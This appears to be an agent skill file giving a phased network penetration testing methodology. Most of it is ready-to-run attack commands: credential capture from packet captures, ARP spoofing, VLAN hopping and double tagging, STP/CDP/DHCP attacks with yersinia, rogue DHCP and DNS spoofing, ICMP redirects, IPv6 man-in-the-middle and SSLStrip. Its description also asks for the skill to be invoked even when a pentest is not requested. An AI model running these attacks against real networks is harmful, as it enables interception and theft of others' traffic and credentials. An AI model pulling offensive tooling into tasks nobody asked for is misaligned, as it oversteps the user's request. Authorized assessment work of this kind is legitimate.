| name | network-pentest |
| description | Network penetration testing and security assessment. Use this skill whenever the user mentions network security testing, penetration testing, network assessment, port scanning, vulnerability discovery, network reconnaissance, ARP spoofing, VLAN attacks, sniffing, or any network-related security testing. This skill provides structured methodologies for discovering hosts, scanning ports, performing LAN attacks, and documenting findings. Make sure to use this skill for any network security assessment task, even if the user doesn't explicitly ask for a 'pentest' or 'security assessment'. |
Network Pentesting Skill
A comprehensive skill for conducting network security assessments and penetration tests. This skill provides structured methodologies for network discovery, scanning, and attack techniques.
Before You Start
Important: Always ensure you have proper authorization before performing any network security testing. Unauthorized network scanning or attacks may be illegal.
Workflow Overview
- Reconnaissance - Discover hosts and services
- Scanning - Identify open ports and services
- Enumeration - Gather detailed information
- Exploitation - Test vulnerabilities (if authorized)
- Documentation - Record findings
Phase 1: Network Discovery
External Discovery (From Internet)
When you need to discover hosts from outside a network:
ICMP Discovery (Fastest)
ping -c 1 <IP>
fping -g <network>/24
nmap -PE -PM -PP -sn -n <network>/24
TCP Port Discovery
When ICMP is filtered, scan common ports:
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 <network>/24
masscan -p80,443,8000-8100,8443 <network>/24
UDP Discovery
nmap -sU -sV --version-intensity 0 -F -n <network>/24
./udp-proto-scanner.pl <network>/24
Internal Discovery (From Inside Network)
Passive Discovery
netdiscover -p
p0f -i <interface> -p -o /tmp/p0f.log
net.recon on
net.show
set net.show.meta true
Active Discovery
nmap -sn <network>
netdiscover -r <network>
nbtscan -r <network>
net.probe on
set net.probe.mdns true
set net.probe.nbns true
set net.probe.upnp true
set net.probe.wsd true
alive6 <interface>
Wake-on-LAN
wol.eth [MAC]
wol.udp [MAC]
Phase 2: Port Scanning
TCP Scanning
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>
syn.scan <network> 1 10000
UDP Scanning
udp-proto-scanner.pl <IP>
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
nmap -sU -sV -sC -n -F -T4 <IP>
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
SCTP Scanning
nmap -T4 -sY -n -oA SCTFastScan <IP>
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
Phase 3: Network Sniffing
TCPDump
sudo tcpdump -i <interface> udp port 53
tcpdump -i <interface> icmp
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
ssh user@<IP> tcpdump -i <interface> -U -s0 -w - | sudo wireshark -k -i -
Bettercap Sniffing
net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap
set net.sniff.local false
set net.sniff.filter "not arp"
Credential Capture
git clone https://github.com/lgandx/PCredz
cd PCredz && ./PCredz.py <capture.pcap>
Phase 4: LAN Attacks
ARP Spoofing
echo 1 > /proc/sys/net/ipv4/ip_forward
arp.spoof on
set arp.spoof.targets <IP>
set arp.spoof.fullduplex true
set arp.spoof.internal true
arpspoof -t <gateway> <victim>
arpspoof -t <victim> <gateway>
VLAN Attacks
DTP Trunking Attack
apt-get install yersinia
yersinia -I
sudo python3 DTPHijacking.py --interface <interface>
VLAN Interface Creation
modprobe 8021q
vconfig add <interface> <VLAN_ID>
dhclient <interface>.<VLAN_ID>
ifconfig <interface>.<VLAN_ID> <IP> netmask 255.255.255.0 up
arp-scan -I <interface>.<VLAN_ID> <network>/24
Double Tagging Attack
from scapy.all import *
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='<victim>')/ICMP()
sendp(packet)
STP Attacks
yersinia stp -attack 2
yersinia stp -attack 3
yersinia stp -attack 1
yersinia stp -attack 4
yersinia stp -attack 6
CDP Attacks
yersinia cdp -attack 1
yersinia cdp -attack 2
yersinia cdp -attack 0
DHCP Attacks
nmap --script broadcast-dhcp-discover
yersinia dhcp -attack 1
yersinia dhcp -attack 3
python /usr/share/responder/DHCP.py \
-i <your_ip> \
-r <real_gateway> \
-p <your_dns> \
-n 255.255.255.0 \
-I <interface> \
-w "http://<your_ip>/wpad.dat" \
-S -R
Phase 5: Spoofing Attacks
DNS Spoofing
set dns.spoof.hosts ./dns.spoof.hosts
dns.spoof on
apt-get install dnsmasq
echo "addn-hosts=dnsmasq.hosts" > dnsmasq.conf
echo "127.0.0.1 domain.example.com" > dnsmasq.hosts
sudo dnsmasq -C dnsmasq.conf --no-daemon
ICMP Redirect
hping3 <victim> -C 5 -K 1 \
-a <gateway> \
--icmp-gw <attacker> \
--icmp-ipdst <destination> \
--icmp-ipsrc <victim>
IPv6 Spoofing
sudo parasite6 -l <interface>
sudo fake_advertise6 -r -w 2 <interface> <router_ipv6>
sysctl -w net.ipv6.conf.all.forwarding=1
ip route add default via <router_ipv6> dev <interface>
fake_router6 <interface> <fe80_address>/16
dhcp6.spoof on
dhcp6.spoof.domains <domains>
mitm6
Phase 6: Internet Attacks
SSLStrip
apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all -l 10000 -f -k
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
Note: SSLStrip is largely ineffective against modern browsers with HSTS preloading. Consider sslStrip+ or dns2proxy for HSTS bypass (still limited effectiveness).
Phase 7: Bluetooth Attacks
L2CAP/ATT/GATT Testing
from blueblue import *
acl = ACLConnection(src_bdaddr, dst_bdaddr, auth_mode='justworks')
gatt = acl.l2cap_connect(psm=PSM_ATT, mtu=672)
gatt.send_frag(p8(GATT_READ)+p16(1234))
print(gatt.recv())
Documentation Template
Always document your findings:
# Network Security Assessment Report
## Target Information
- Network Range: <range>
- Date: <date>
- Assessor: <name>
## Discovery Results
### Live Hosts
| IP | MAC | Hostname | Status |
|----|-----|----------|--------|
| <IP> | <MAC> | <hostname> | <status> |
### Open Ports
| IP | Port | Service | Version |
|----|------|---------|--------|
| <IP> | <port> | <service> | <version> |
## Vulnerabilities Found
1. <vulnerability>
- Severity: <critical/high/medium/low>
- Description: <details>
- Evidence: <proof>
- Remediation: <recommendation>
## Attack Results
ARP Spoofing:
VLAN Hopping:
DHCP Spoofing:
Tool Quick Reference
| Tool | Purpose | Command |
|---|
| nmap | Port scanning | nmap -sV -sC <target> |
| masscan | Fast port scanning | masscan -p<ports> <target> |
| bettercap | MITM attacks | bettercap |
| yersinia | Protocol attacks | yersinia -I |
| tcpdump | Packet capture | tcpdump -i <iface> <filter> |
| arp-scan | ARP discovery | arp-scan -l |
| responder | LLMNR/NBT-NS spoofing | responder -I <iface> |
| sslstrip | SSL downgrading | sslstrip -l 10000 |
Safety Reminders
- Authorization: Always have written permission before testing
- Scope: Stay within agreed network boundaries
- Timing: Avoid production hours for disruptive tests
- Backup: Document network state before attacks
- Legal: Understand local laws regarding network testing
- Cleanup: Restore network to original state after testing
When to Use This Skill
Use this skill when:
- User mentions network security testing or penetration testing
- User needs to discover hosts on a network
- User wants to scan ports or enumerate services
- User is conducting a security assessment
- User mentions specific attack techniques (ARP spoofing, VLAN attacks, etc.)
- User needs documentation templates for security findings
- User asks about network reconnaissance tools
- User mentions network protocols in a security context (CDP, STP, DHCP, etc.)
This skill provides the methodology, commands, and best practices for professional network security assessments.